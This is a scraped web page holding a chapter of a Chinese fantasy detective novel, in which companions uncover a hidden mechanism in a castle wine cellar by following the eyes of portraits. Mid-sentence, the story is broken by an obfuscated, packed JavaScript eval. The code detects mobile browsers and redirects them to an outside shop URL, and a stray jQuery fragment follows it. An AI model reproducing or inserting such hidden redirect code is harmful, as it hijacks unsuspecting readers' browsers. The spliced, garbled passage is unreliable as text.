默认冷灰
24号文字
方正启体

23. 排除一切不可能

作者:我望明月本书字数:K更新时间:
    酒窖位于城堡主楼的地下层。


    石门在西泽尔一行人的身后沉重合上,外界的光亮彻底隔绝。


    这是一个完全由灰岩与花岗岩砌成的地下空间,空气中弥漫着陈年橡木桶的木质香和发酵葡萄的酸甜味。


    西泽尔打了个寒颤,里面的温度比外面至少降了七、八度。


    石壁的两边镶嵌着魔法烛火,摇曳着昏暗的光,勉强照亮了狭长幽深的空间。


    打眼一看,的确不像是藏着什么秘密的地方。


    酒窖一般很少人会来,只有饭点的时候会有侍者来取酒,导致现在这里空无一人。


    西泽尔环视四周,除了堆积如山的酒桶和墙上每隔几步挂着的装饰用的肖像画,别无他物。


    李斯特没有废话,蹲下身,从怀里掏出一把银色的粉末,开始在布满灰尘的石板地上绘制着什么。


    西泽尔凑过去,他从黑斯廷身上学了不少关于阵法的知识,不确定的问:


    “您是在画…索引阵?”


    “有些眼力。”李斯特手下不停,勾勒出繁复的几何线条,抬头赞许地看了西泽尔一眼。


    “这属于空间阵的一种,通过放大墙体与空气、地脉与魔力的微弱不协调,定位异常。我在想,是不是酒窖本身只是一个幌子,真正的空间被折叠或者隐藏起来了。”


    “那我们兵分两路吧。”


    露娜指挥大家:“李叔负责画阵、我们则四下找找可疑线索?”


    “好!”


    众人迅速散开。


    西泽尔顺着酒窖往深处走去。他掀开几个桶盖看了看,除了醇香的酒液,什么异常也没有。


    他对魔法元素的活动异常敏感,但在地下室感知了半天,一点魔法元素的流动都没有,实在探查不出什么。


    西泽尔无奈地折返回去。此时,李斯特已经完成了阵法绘制。


    他在魔法阵的中央,放置了一颗有着淡紫色光晕的“空相晶石”作为阵眼。


    这是带有空间属性的矿石,西泽尔知道它经常会被拿来制作储物戒。


    “空间不欺,揭示所藏…”


    李斯特低声吟诵。


    刹那间,魔法阵如同被注入了生命,符文逐一亮起,沿着既定的轨迹缓缓流动。空气肉眼可见开始扭曲、荡漾,泛起层层涟漪,


    “成了?!”西泽尔屏住呼吸。


    然而下一秒。


    滋啦…


    像是燃料不足,魔法阵剧烈闪烁了两下,断桢了一般,随后光芒骤然熄灭,悬浮在空中的符文瞬间崩碎成光点消散。


    “怎么样?探查到什么了吗?” 一直警惕着周围动静的阿麦快步赶来,迫不及待地问。


    李斯特脸色难看地站起身,失望地摇了摇头:“…没有。这里居然设置了高阶反侦测法阵,索引阵没有起作用。”


    众人的心沉了下去。


    “谁说没用。”


    西泽尔乐观地拍了拍手,“虽然没直接找到入口,但至少能证明咱们来对了地方。不然一个普普通通存酒地窖,为何要装有高级反侦测阵?”


    “没错!” 李斯特闻言,精神一振,重新挺直了脊背。


    “西泽尔说得对。这恰恰说明,这里一定有他们不想让人发现的东西!”


    反侦测阵的存在,本身就是一条重要的线索。


    “现在也只能用最原始的眼睛和手,把这里再翻一遍,看看有什么遗漏?”


    众人再次分散,这一次简直是地毯式搜索。他们敲遍了每一块地砖,阿麦甚至想把酒桶给劈开看看。


    时间一点一点流逝,西泽尔站在酒窖中央,双手抱胸,目光缓缓扫过四周。


    橡木桶、石壁、烛火、还有那些……


    他的目光停留在墙壁上。


    每隔几步,两盏烛火中间,就挂着一幅肖像画。画中人大多穿着赫尔辛金家族的古老服饰,神态各异。


    等等……


    西泽尔若有所思地盯着这些画,睫毛微垂,遮住了眼底一闪而过的精光。


    与此同时,大家再次聚首,每个人脸上都写满了挫败。


    “不行!什么也没找到!”阿麦气得拔出长剑,斗气在剑身上吞吐,“要不干脆把这里拆了!我就不信把地皮掀开三尺还找不到!”


    “最好不要。”露娜连忙按住她的手。


    “拆了这里很可能触发自毁装置,万一把线索毁了怎么办?而且这动静太大,惊动幕后黑手把萨沙转移走,更麻烦。”


    “…把罗德里克抓过来呢?他是城主,酒窖里有机关,他还能不知道?”阿麦继续出主意。


    “那个……”


    西泽尔像个乖学生一样举起一只手,弱弱地插话:


    “我对贵族的装潢习惯不是很懂,我能问一个很小白的问题吗?”


    “什么?”


    “…酒窖里,放这么多油画画像,真的好吗??”


    他的声音不大,却像一道闪电,瞬间劈开了露娜脑中的迷雾!


    对啊!


    酒窖!阴冷、潮湿、光线昏暗。这种环境根本不适合保存油画;光线暗的要死,也不适合欣赏。哪个正常的酒窖,会像画廊一样,放画在这里?


    “行啊你!”露娜激动地抓住西泽尔的肩膀晃了晃,“我们都只顾着检查‘东西’本身有没有问题,却忽略了某些‘东西’出现在这里,本身就是最大的不合理!”


    李斯特立刻冲向最近的一幅画,把它摘下来检查,结果背面光秃秃的,什么也没有。


    “奇怪……不是机关?”


    露娜和阿麦帮着检查其他画像,一幅接一幅。


    然而,所有画像都只是普通地悬挂着,画框背后空空如也,画布也没有夹层。十几幅画像检查下来,毫无收获。


    长时间的专注和昏暗光线下对细节的辨认,对眼睛负荷极大。


    阿麦揉了揉发酸发胀的眼睛,忍不住抱怨:“不行了,眼睛都看花了,这些画上的人都古里古怪的,看得人头晕…”


    “眼睛?!”


    西泽尔被这个词猛然点醒,他后退几步,不再聚焦于单幅画像,而是用更宏观的视角扫视着长廊两侧对称悬挂的所有肖像。


    一种之前被忽略的、微妙的违和感逐渐清晰起来。


    “看他们的眼睛!”


    西泽尔跳了起来,手指指向其中一幅画像,声音因激动而微微拔高:


    “我就说总觉得哪里怪怪的!你们看!看他们眼睛的方向!”


    露娜等人闻言,立刻顺着他指的方向看去。


    这幅画像上是一位身穿几个世纪前服饰的严肃老者,他微微昂着头,眼神并非平视前方,而是带着一种明显的、居高临下的斜视,目光偏向他的左侧。


    “这有什么问题吗?”李斯特不解。


    “别只看一张!把你手里的挂回去,然后退后几步,看整体!”


    西泽尔站在酒窖中央,双手比划着:


    “你们看左边、所有画像里的人,眼珠子明显向右偏;再看右边、所有人的眼珠子向左偏……如果把他们的视线延长……”


    所有视线的交汇点,指向了同一个地方——


    酒窖角落里,那张供人品酒密谈的小圆桌。


    “之前检查过那里了!” 阿麦率先冲了过去,一把抓起桌上的一个空酒杯,里外仔细查看,又敲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055307|194876||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了敲桌面和椅面。


    “都是普通石头,结实的很,但没发现机关!”


    阿麦继续抬起椅子,试图检查椅子背面,什么都没有。她又踢了踢桌子…


    咦?


    “会不会…我们理解错了?眼睛看的不是桌椅,而是旁边的某块地砖?或者墙上某处?” 李斯特在一旁提供猜想方案。


    “等一下!这张桌子?好像是焊死在地上的。”晃着桌子的阿麦抬起头,眼中闪过一丝兴奋的光芒。


    只见她双手按住桌面,试着左右转动。


    “咔哒、咔哒。”


    能转动!


    但只转动了大约十度左右,便遇到了明显的阻力,仿佛内部有卡榫咬合。


    阿麦继续用力,桌子发出“咯咯”的轻微声响,又艰难地转动了几度,然后彻底锁死,无法再动。


    但,四周静悄悄的,无事发生,并无任何暗门开启或机关触发的迹象。


    “坏了?”阿麦猜测。


    “不。”西泽尔整个人趴在桌子上,脸贴着桌面感受了一会儿,站起身笃定地说:


    “机关启动了,我能感觉到下面有极其细微的魔力流开始运转。但是……能量不够,或者说,回路没闭合。”


    他摸着下巴,陷入沉思。目光不由自主又飘向墙上的肖像画。大脑飞速运转,一个更大胆的猜想在脑中逐渐成型。


    “你们说…它会不会是一个…连环阵?”


    “什么意思?”


    “你们记不记得,这座城堡里……除了酒窖,上面的每一层走廊里,是不是也都挂满了画像?“


    大家仔细一想,还真是!


    无论是去往议事大厅的路上,还是通往罗德里克卧室的走廊,这座城堡的内部装饰,似乎对肖像画有着超乎寻常的偏爱,几乎到了见缝插针的地步。


    一开始还以为赫尔辛金家族的人就是这么自恋…但现在…


    “你的意思是…”露娜的声音有些干涩,顺着西泽尔的思路推导下去,得到一个让她自己都觉得有些荒谬的结论。


    "城堡里每一层、人物的眼睛,都指向一个特定的、可以转动的机关?而只有将所有楼层的机关,按照某种顺序或同时触发,这里才会真正启动?”


    阿麦倒吸一口凉气,眼睛瞪得溜圆:“这可能吗?覆盖整座城堡每一层的超大型连环机关阵?这得是多大的手笔?多复杂的布置?"


    西泽尔耸了耸肩,脸上却露出一丝奇异的、混合着兴奋与了然的神色:


    “一位伟大的侦探说过:当排除一切不可能,剩下的那个无论多荒谬,都是真相。”


    “罗德里克这老狐狸把我们全都耍了,弄个覆盖全楼的机关阵对他来说不是基操吗?”


    “那还等什么!”阿麦撸起袖子,“那就一层一层的试!我去四楼!”


    “我去三楼。”李斯特也行动起来。


    露娜和西泽尔分别去剩下两层。西泽尔冲上二楼,这里是之前大家住的卧室,走廊两侧挂满了历代赫尔辛金夫人们的画像。


    果然,她们矜持而冷漠的眼神,虽然角度各异,但最终都汇聚在走廊中间一个装饰物上。


    这里放置着一尊约孩童大小、造型古怪、甚至令人有些不适的类人形生物雕塑。


    它蜷缩着身体,头颅巨大,五官扭曲,双手抱膝,姿态介于胚胎与怪物之间。


    西泽尔走到雕塑前,伸手握住它冰凉光滑的表面,尝试旋转。


    嘎、吱…


    极其轻微、仿佛生锈齿轮开始咬合的声响从雕塑底座传来。


    雕塑缓缓转动了约十五度,然后悄然停住,再次与底座严丝合缝,仿佛从未动过。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)